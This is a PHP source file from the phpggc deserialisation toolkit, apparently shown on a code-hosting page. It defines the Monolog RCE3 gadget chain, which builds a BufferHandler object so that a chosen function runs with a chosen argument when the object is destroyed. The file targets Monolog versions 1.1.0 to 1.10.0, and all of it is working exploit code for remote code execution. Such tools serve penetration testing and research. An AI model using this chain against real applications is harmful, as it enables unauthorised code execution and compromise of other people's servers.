Codebase list phpggc / 9a88393 gadgetchains / Monolog / RCE / 3 / chain.php
9a88393

Tree @9a88393 (Download .tar.gz)

chain.php @9a88393raw · history · blame

<?php

namespace GadgetChain\Monolog;

class RCE3 extends \PHPGGC\GadgetChain\RCE\FunctionCall
{
    public static $version = '1.1.0 <= 1.10.0';
    public static $vector = '__destruct';
    public static $author = 'theBumble';

    public function generate(array $parameters)
    {
        $function = $parameters['function'];
        $parameter = $parameters['parameter'];

        return new \Monolog\Handler\BufferHandler(
                ['current', $function],
                [$parameter, 'level' => null]
        );
    }
}